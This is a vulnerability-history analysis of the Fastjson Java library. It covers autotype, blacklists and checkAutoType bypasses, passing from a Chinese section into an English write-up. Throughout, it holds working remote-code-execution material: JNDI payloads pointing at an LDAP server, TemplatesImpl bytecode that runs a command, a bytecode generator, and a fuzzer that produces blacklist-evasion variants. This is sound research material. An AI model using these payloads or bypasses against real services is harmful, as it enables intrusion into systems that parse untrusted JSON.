"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"}}payload7:{"rand1": {"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName": "ldap://localhost:1389/Object","loginTimeout": 0}}...还有很多下面是个小脚本,可以将基础payload转出各种绕过的变形态,还增加了
\u
、\x
编码形式:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103#!usr/bin/env python# -*- coding:utf-8 -*-"""@author: longofo@file: fastjson_fuzz.py@time: 2020/05/07"""import jsonfrom json import JSONDecodeErrorclass FastJsonPayload:def __init__(self, base_payload):try:json.loads(base_payload)except JSONDecodeError as ex:raise exself.base_payload = base_payloaddef gen_common(self, payload, func):tmp_payload = json.loads(payload)dct_objs = [tmp_payload]while len(dct_objs) > 0:tmp_objs = []for dct_obj in dct_objs:for key in dct_obj:if key == "@type":dct_obj[key] = func(dct_obj[key])if type(dct_obj[key]) == dict:tmp_objs.append(dct_obj[key])dct_objs = tmp_objsreturn json.dumps(tmp_payload)# 对@type的value增加L开头,;结尾的payloaddef gen_payload1(self, payload: str):return self.gen_common(payload, lambda v: "L" + v + ";")# 对@type的value增加LL开头,;;结尾的payloaddef gen_payload2(self, payload: str):return self.gen_common(payload, lambda v: "LL" + v + ";;")# 对@type的value进行\udef gen_payload3(self, payload: str):return self.gen_common(payload,lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")# 对@type的value进行\xdef gen_payload4(self, payload: str):return self.gen_common(payload,lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")# 生成cache绕过payloaddef gen_payload5(self, payload: str):cache_payload = {"rand1": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}}cache_payload["rand2"] = json.loads(payload)return json.dumps(cache_payload)def gen(self):payloads = []payload1 = self.gen_payload1(self.base_payload)yield payload1payload2 = self.gen_payload2(self.base_payload)yield payload2payload3 = self.gen_payload3(self.base_payload)yield payload3payload4 = self.gen_payload4(self.base_payload)yield payload4payload5 = self.gen_payload5(self.base_payload)yield payload5payloads.append(payload1)payloads.append(payload2)payloads.append(payload5)for payload in payloads:yield self.gen_payload3(payload)yield self.gen_payload4(payload)if __name__ == '__main__':fjp = FastJsonPayload('''{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}''')for payload in fjp.gen():print(payload)print()例如JdbcRowSetImpl结果:
123456789101112131415161718192021{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}有些师傅也通过扫描maven仓库包来寻找符合jackson、fastjson的恶意利用类,似乎大多数都是在寻找jndi类型的漏洞。对于跑黑名单,可以看下这个项目,跑到1.2.62版本了,跑出来了大多数黑名单,不过很多都是包,具体哪个类还得去包中一一寻找。
参考链接
- https://paper.seebug.org/994/#0x03
- https://paper.seebug.org/1155/
- https://paper.seebug.org/994/
- https://paper.seebug.org/292/
- https://paper.seebug.org/636/
- https://www.anquanke.com/post/id/182140#h2-1
- https://github.com/LeadroyaL/fastjson-blacklist
- http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
- http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
- http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
- https://xz.aliyun.com/t/7027#toc-4
- https://zhuanlan.zhihu.com/p/99075925
- ...
太多了,感谢师傅们的辛勤记录。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1192/
- 这里的@type就是对应常说的autotype功能,简单理解为fastjson会自动将json的
-
Fastjson Deserialization Vulnerability History
Author:Longofo@Knownsec 404 Team
Time: April 27, 2020
Chinese version:https://paper.seebug.org/1192/Fastjson doesn't have a cve number, so it's difficult to find the timeline. At first,I wrote something slowly. Fortunately, fastjson is open source and there are hard work records of other security researchers. This article will give the key updates and vulnerability timelines related to Fastjson and the vulnerabilities,I will test and explain some of the more classic vulnerabilities, and give some check payloads and rce payloads.
Fastjson Parsing Process
You can refer to fastjson process analysis written by @Lucifaer. I will not write it here, and it will occupy a lot of space. In this article said that fastjson has byte code generated using ASM. Since many classes are not native in actual use, fastjson serializes/deserializes most classes will be processed by ASM. You can use idea to save byte files during dynamic debugging:
The inserted code is:
12345678910111213141516171819202122232425262728293031BufferedOutputStream bos = null;FileOutputStream fos = null;File file = null;String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";try {File dir = new File(filePath);if (!dir.exists()) {dir.mkdirs();}file = new File(filePath + className + ".class");fos = new FileOutputStream(file);bos = new BufferedOutputStream(fos);bos.write(code);} catch (Exception e) {e.printStackTrace();} finally {if (bos != null) {try {bos.close();} catch (IOException e) {e.printStackTrace();}}if (fos != null) {try {fos.close();} catch (IOException e) {e.printStackTrace();}}}Generated class:
But this class cannot be used for debugging, because the code generated by ASM in fastjson does not have linenumber, trace and other information.However, it should be feasible to generate bytecode by rewriting part of the code in the Expression window.(I have not tested it. If you have enough time or interest, you can see how ASM generates bytecode that can be used for debugging).
Fastjson Demo Test
First test the following example with multiple versions:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455//User.javapackage com.longofo.test;public class User {private String name; //Private properties, with getter and setter methodsprivate int age; //Private properties, with getter and setter methodsprivate boolean flag; //Private properties, with is and setter methodspublic String sex; //Public properties, no getter, setter methodsprivate String address; //Private properties, no getter, setter methodspublic User() {System.out.println("call User default Constructor");}public String getName() {System.out.println("call User getName");return name;}public void setName(String name) {System.out.println("call User setName");this.name = name;}public int getAge() {System.out.println("call User getAge");return age;}public void setAge(int age) {System.out.println("call User setAge");this.age = age;}public boolean isFlag() {System.out.println("call User isFlag");return flag;}public void setFlag(boolean flag) {System.out.println("call User setFlag");this.flag = flag;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +", flag=" + flag +", sex='" + sex + '\'' +", address='" + address + '\'' +'}';}}12345678910111213141516171819202122232425262728293031323334353637383940package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test1 {public static void main(String[] args) {//SerializationString serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//System.out.println("serializedStr=" + serializedStr);System.out.println("-----------------------------------------------\n\n");//Deserialize through the parse method and return a JSONObjectSystem.out.println("JSON.parse(serializedStr):");Object obj1 = JSON.parse(serializedStr);System.out.println("parse deserialize object name:" + obj1.getClass().getName());System.out.println("parse deserialization:" + obj1);System.out.println("-----------------------------------------------\n");//Through parseObject, no class is specified, a JSONObject is returnedSystem.out.println("JSON.parseObject(serializedStr):");Object obj2 = JSON.parseObject(serializedStr);System.out.println("parseObject deserialize object name:" + obj2.getClass().getName());System.out.println("parseObject deserialization:" + obj2);System.out.println("-----------------------------------------------\n");//Through parseObject, specified as object.classSystem.out.println("JSON.parseObject(serializedStr, Object.class):");Object obj3 = JSON.parseObject(serializedStr, Object.class);System.out.println("parseObject deserialize object name:" + obj3.getClass().getName());System.out.println("parseObject deserialization:" + obj3);System.out.println("-----------------------------------------------\n");//Through parseObject, specified as User.classSystem.out.println("JSON.parseObject(serializedStr, User.class):");Object obj4 = JSON.parseObject(serializedStr, User.class);System.out.println("parseObject deserialize object name:" + obj4.getClass().getName());System.out.println("parseObject deserialization:" + obj4);System.out.println("-----------------------------------------------\n");}}Tips:
- @Type here corresponds to the commonly autotype function , simply understood that fastjson will automatically map the value of
key: value
of json to the class corresponding to @type. - Several methods of the sample User class are relatively common methods, the naming and return values are all conventionally written in accordance with the requirements of the bean, so some special calls in the following sample test will not be covered, but in the vulnerability analysis , We can see some special cases.
- Parse uses four types of writing, all of which can cause harm (however, whether it can actually be used depends on the version and whether the user has turned on certain configuration switches, see later).
- The sample tests all use jdk8u102, and the code is the source code test. It mainly uses samples to explain the process of autotype default opening, the appearance of checkautotype, and the version of the black list and white list from which it appears and enhancement methods.
1.1.157 Test
This should be the original version (the earliest tag is this), the result:
123456789101112131415161718192021222324252627282930313233343536373839404142serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}-----------------------------------------------JSON.parse(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagparse deserialize object name:com.longofo.test.Userparse deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------JSON.parseObject(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagcall User getAgecall User isFlagcall User getNameparseObject deserialize object name:com.alibaba.fastjson.JSONObjectparseObject deserialization:{"flag":true,"sex":"boy","name":"lala","age":11}-----------------------------------------------JSON.parseObject(serializedStr, Object.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject deserialize object name:com.longofo.test.UserparseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------JSON.parseObject(serializedStr, User.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject deserialize object name:com.longofo.test.UserparseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------Below is a brief explanation of each result.
JSON.parse(serializedStr)
1234567JSON.parse(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagparse deserialize object name:com.longofo.test.Userparse deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}When @type is specified, the default constructor of the User class is automatically called. The setter method(setAge, setName) corresponding to the User class is the final result. It is an instance of the User class, but it is worth noting that the public sex is successfully assigned,while private address is not successfully assigned, but after 1.2.22, 1.1.54.android, a SupportNonPublicField feature is added. If this feature used, private address can be successfully assigned even without setter, getter, this feature is also related to a later vulnerability. Pay attention to the order of the default constructor and setter method. The default constructor comes first. At this time, the property value has not been assigned, so even though there are dangerous methods in the default constructor, the harmful value has not been passed in.The default constructor is logical and will not be a method of exploit, but for the inner class, the outer class first initializes some of its own attribute values, but the inner class default constructor uses some values of the attributes of the parent class, which may still cause harm.
It can be seen that the autotype function has been available since the original version, and autotype is enabled by default. At the same time, there is no blacklist in the ParserConfig class.
JSON.parseObject(serializedStr)
12345678910JSON.parseObject(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagcall User getAgecall User isFlagcall User getNameparseObject deserialize object name:com.alibaba.fastjson.JSONObjectparseObject deserializationflag":true,"sex":"boy","name":"lala","age":11}When @type is specified, the default constructor of the User class is automatically called, the setter method (setAge, setName) corresponding to the User class and the corresponding getter method (getAge, getName), and the final result is a string. There are more getter methods (note that the bool type starts with is), because parseObject calls
JSON.toJSON (obj)
when there are no other parameters, and the obj property value will be obtained through the gettter method later:JSON.parseObject(serializedStr, Object.class)
1234567JSON.parseObject(serializedStr, Object.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject deserialize object name:com.longofo.test.UserparseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}When @type is specified, there is no difference between this type of writing and the first type of
JSON.parse(serializedStr)
.JSON.parseObject(serializedStr, User.class)
1234567JSON.parseObject(serializedStr, User.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject deserialize object name:com.longofo.test.UserparseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}When @type is specified, the default constructor of the User class is automatically called, the setter method (setAge, setName) corresponding to the User class, and the final result is an instance of the User class. This way of writing clearly specifies that the target object must be of type User. If the type corresponding to @type is not User or its subclass, a mismatch exception will be thrown. However, even if a specific type is specified, there is still a way before the type matches To trigger the vulnerability.
1.2.10 Test
For the above User class, the test result is the same as 1.1.157, so I won't write it here.
In this version, autotype is still enabled by default. However, from this version, fastjson added denyList in ParserConfig, until version 1.2.24, this denyList has only one class (however, this java.lang.Thread is not used for exploits):
1.2.25 Test
The test result is that an exception is thrown:
12345678910111213serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}-----------------------------------------------JSON.parse(serializedStr):Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.Userat com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)at com.alibaba.fastjson.JSON.parse(JSON.java:137)at com.alibaba.fastjson.JSON.parse(JSON.java:128)at com.longofo.test.Test1.main(Test1.java:14)Starting from 1.2.25, autotype is turned off by default. For autotype to be turned on, later vulnerability analysis will be involved. And from 1.2.25, the checkAutoType function is added. Its main function is to detect whether the class specified by @type is in the white list or black list (using the startswith method)
And whether the target class is a subclass or subinterface of two dangerous classes (Classloader, DataSource), where the whitelist has the highest priority, and the whitelist does not detect blacklists and dangerous classes if allowed, otherwise it continues to detect blacklists and dangerous classes:
The number of blacklist classes and packages has been increased, and the whitelist has also been added. Users can also call related methods to add blacklist/whitelist to the list:
Many of the latter vulnerabilities are due to the repair of checkautotype and some of its own logical defects, as well as the increasing blacklist.
1.2.42 Test
As with 1.2.25, autotype is not enabled by default, so the result is the same, directly throwing the exception that autotype is not enabled.
From this version, the denyList and acceptList have been replaced with decimal hashcode, which makes the security research more difficult (however, the calculation method of hashcode is still public. If you have a large number of jar packages, such as maven warehouse, you can crawl the jar package, run the class name and package name in batches.But if the blacklist is the package name, it will take some time to find the specific available class):
The detection in checkAutotype has also been modified accordingly:
1.2.61 Test
As the 1.2.25, autotype is not enabled by default, so the result is same, directly throwing the exception that autotype is not enabled.
From 1.2.25 to 1.2.61, a lot of bypasses and blacklists have actually been added, but this part of the vulnerability version line is written specifically. The 1.2.61 version is written here mainly to illustrate the blacklist defens means. In version 1.2.61, fastjson changed the hashcode from decimal to hexadecimal:
However, the hexadecimal representation is the same as the decimal representation, and jar packages can also be run in batches. In version 1.2.62, hex capital was added for uniformity:
The later version is the increase of blacklist.
Fastjson vulnerability version line
The following vulnerabilities will not be analyzed too much. Too many will only briefly explain and give the payload to test and explain the repair method.
ver<=1.2.24
As you can see from the above test, there are no defense in 1.2.24 and before, autotype is enabled by default. Below a few classic payloads.
com.sun.rowset.JdbcRowSetImpl
payload:
1234567{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}Test(jdk=8u102,fastjson=1.2.24):
12345678910111213package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test2 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";// JSON.parse(payload); success//JSON.parseObject(payload); success//JSON.parseObject(payload,Object.class); success//JSON.parseObject(payload, User.class); success,Without using @type directly in the outer layer, a layer of rand: {} is added, and it can be successfully triggered before the type match. This is seen in an xray article https://zhuanlan.zhihu.com/p/99075925,So all subsequent payloads use this mode}}result:
Brief analysis of triggering reasons:
JdbcRowSetImpl object recovery-> setDataSourceName method call-> setAutocommit method call-> context.lookup (datasourceName) call
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
payload:
1234567891011{"rand1": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}Test(jdk=8u102,fastjson=1.2.24):
123456789101112131415161718192021222324252627282930313233343536373839404142434445package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;public class Test3 {public static void main(String[] args) throws Exception {String evilCode_base64 = readClass();final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{'rand1':{" +"\"@type\":\"" + NASTY_CLASS + "\"," +"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +"'_name':'aaa'," +"'_tfactory':{}," +"'_outputProperties':{}" +"}}\n";System.out.println(payload);//JSON.parse(payload, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功}public static class AaAa {}public static String readClass() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(AaAa.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "AaAa" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));byte[] evilCode = cc.toBytecode();return Base64.encodeBase64String(evilCode);}}result:
Brief analysis of triggering reasons:
TemplatesImpl object recovery-> JavaBeanDeserializer.deserialze-> FieldDeserializer.setValue-> TemplatesImpl.getOutputProperties-> TemplatesImpl.newTransformer-> TemplatesImpl.getTransletInstance-> Through defineTransletClasses, newInstance triggers the static code block of our own constructed class
Brief description:
This vulnerability needs to enable the SupportNonPublicField feature, which was also mentioned in the sample test. There is no corresponding setter for
_bytecodes
,_tfactory
,_name
,_outputProperties
and_class
in the TemplatesImpl class, so to assign values to these private properties, you need to enable the SupportNonPublicField feature. The specific construction process of the poc will not be analyzed here, you can see Master Liao's this, involving some details.ver>=1.2.25&ver<=1.2.41
Before 1.2.24, there are no autotype restriction. Starting from 1.2.25, autotype support was turned off by default, and checkAutotype was added. A blacklist and whitelist was added to prevent autotype from being turned on. Between 1.2.25 and 1.2.41, a checkAutotype bypass occurred.
The following is checkAutoType code:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687public Class<?> checkAutoType(String typeName, Class<?> expectClass) {if (typeName == null) {return null;}final String className = typeName.replace('$', '.');// Position 1, if open autoTypeSupport, whitelist first, then blacklistif (autoTypeSupport || expectClass != null) {for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {return TypeUtils.loadClass(typeName, defaultClassLoader);}}for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}}// Position 2, get clazz from the existing mapClass<?> clazz = TypeUtils.getClassFromMapping(typeName);if (clazz == null) {clazz = deserializers.findClass(typeName);}if (clazz != null) {if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}// Position 3, autoTypeSupport is not enabled, black and white list will still be detected, blacklist first, then whitelistif (!autoTypeSupport) {for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}}}// Position 4, after the black and white list, autoTypeSupport is turned on, and the target class is loadedif (autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);}if (clazz != null) {// ClassLoader, DataSource subclass/subinterface detectionif (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {return clazz;} else {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);}return clazz;}Four position marks were made on it, because the following bypasses are also related to these positions. This time the bypass is through the previous 1, 2, 3 and successfully entered the location 4 to load the target class. Position 4 loadclass is as follows:
Removed the
L
and;
before and after className, in the form ofLcom.lang.Thread;
, this representation method is similar to the representation method of classes in the JVM, and fastjson handles this representation method. The previous blacklist detection was startedwith detection, so you can addL
and;
to the class specified by @type to bypass the blacklist detection.Use the above JdbcRowSetImpl:
1234567{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}Test(jdk8u102,fastjson 1.2.41):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test4 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//JSON.parse(payload); success//JSON.parseObject(payload); success//JSON.parseObject(payload,Object.class); success//JSON.parseObject(payload, User.class); success}}result:
ver=1.2.42
In 1.2.42, the checkAutotype bypass of 1.2.25 ~ 1.2.41 was fixed, the blacklist was changed to decimal, and the checkAutotype detection was changed accordingly:
The blacklist has been changed to decimal, and the detection has been hashed accordingly. However, it is consistent with the detection process in 1.2.25 above, except the tests with
startswith
are replaced withhash operations
. The fix for bypassing checkAutotype of 1.2.25 ~ 1.2.41 is the red box, judging whether the className isL
and;
, if it is, then intercept the second character and the penultimate character . Therefore, the bypass of checkAutotype in version 1.2.42 is to double writeLL
and;;
. After interception, the process is the same as that of versions 1.2.25 ~ 1.2.41.Use the above JdbcRowSetImpl:
1234567{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}Test(jdk8u102,fastjson 1.2.42):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test5 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//JSON.parse(payload); success//JSON.parseObject(payload); success//JSON.parseObject(payload,Object.class); success//JSON.parseObject(payload, User.class); success}}结果:
ver=1.2.43
1.2.43 For the bypass repair method of 1.2.42:
Under the first if condition (beginning with
L
and ending with;
), a condition starting withLL
is added. If the first condition is met and starting withLL
, an exception is thrown directly. So this repair method cannot be bypassed. In addition to the special processing ofL
and;
,[
is also treated specially, checkAutoType is bypassed again:Use the above JdbcRowSetImpl:
1{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}Test(jdk8u102,fastjson 1.2.43):
